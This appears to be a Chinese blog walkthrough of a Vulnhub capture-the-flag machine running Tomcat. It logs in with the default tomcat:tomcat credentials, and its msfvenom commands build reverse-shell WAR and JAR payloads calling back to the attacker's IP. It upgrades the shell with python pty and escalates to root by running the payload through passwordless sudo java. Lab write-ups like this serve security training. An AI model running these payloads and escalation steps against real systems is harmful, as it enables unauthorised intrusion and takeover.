环境

  • 靶机My Tomcat Host
  • 攻击机:Pattor 192.168.123.233
  • 网段:192.168.123.0/24

信息收集

首先先找到靶机IP

sudo nmap -sn 192.168.123.0/24

发现靶机,IP为192.168.123.214

常规操作,nmap 扫扫端口,看看开了什么服务

sudo nmap -sS -Pn -p- 192.168.123.214

nmap

端口:

  • 22 OpenSSH 6.6.1
  • 8080 Http Apache Tomcat 9.0.31

图中我使用了-A参数,之前有看到文章说,-A参数是进激扫描,动静很大,实战不建议使用,当时我觉得在靶机就无所谓了

访问Web服务

SSH端口先放放,先来访问访问Web服务

一来就首页,emm,发现有Tomcat基础认证,也就是登录Tomcat

一开始还想着爆破来这,后来手动输入几个弱口令就进去了,账户密码是 :tomcat:tomcat

上传WAR包

进去之后,上传WAR包,用msfvenom生成一个war包

msfvenom -p java/shell_reverse_tcp LHOST=192.168.123.233 LPORT=4443 -f war > shell.war

紧接着上传,攻击机监听4443端口

我这里就用nc监听好了,然后访问这个war包

成功反弹shell,是个tomcat用户,通过简单测试,发现有python环境,先反弹一个交互式Shell

python -c "__import__('pty').spawn('/bin/bash')"

要得到Flag,紧接着就要想办法提权了

提权

对于提权我还是刚刚接触,会的不多,先看看有没有SUID提权的机会

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

通过以上命令找找有没有可利用的命令,例如:vim、nmap、find、bash、more、less、nano、cp,发现貌似没有熟悉的

然后我就看看sudo -l能不能执行,能执行哪些命令

发现可以不用密码就可以以root权限执行java命令,可以整

老方法,用msfvenom生成jar包的木马,这次就生成Meterpreter Shell,熟悉一下MSF

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.123.233 LPORT=4444 -f jar > priv.jar

再使用python3 运行一个简单HTTP服务,默认端口8000

python3 -m http.server

然后回到靶机反弹的shell,当一次使用wget下载的时候发现没有写权限

没办法,只能找找tomcat用户的文件夹,这个不难找,/tmp也行,去到网站根目录就可以了

再次下载,下载完之后,到msf设置payload,在使用sudo执行java命令运行反弹shell的jar包

sudo /usr/lib/jvm/java.../../java -jar priv.jar

执行完就可以看到msf已经接收shell了

Flag

最后在/root目录下找到flag

标签: Vulnhub

添加新评论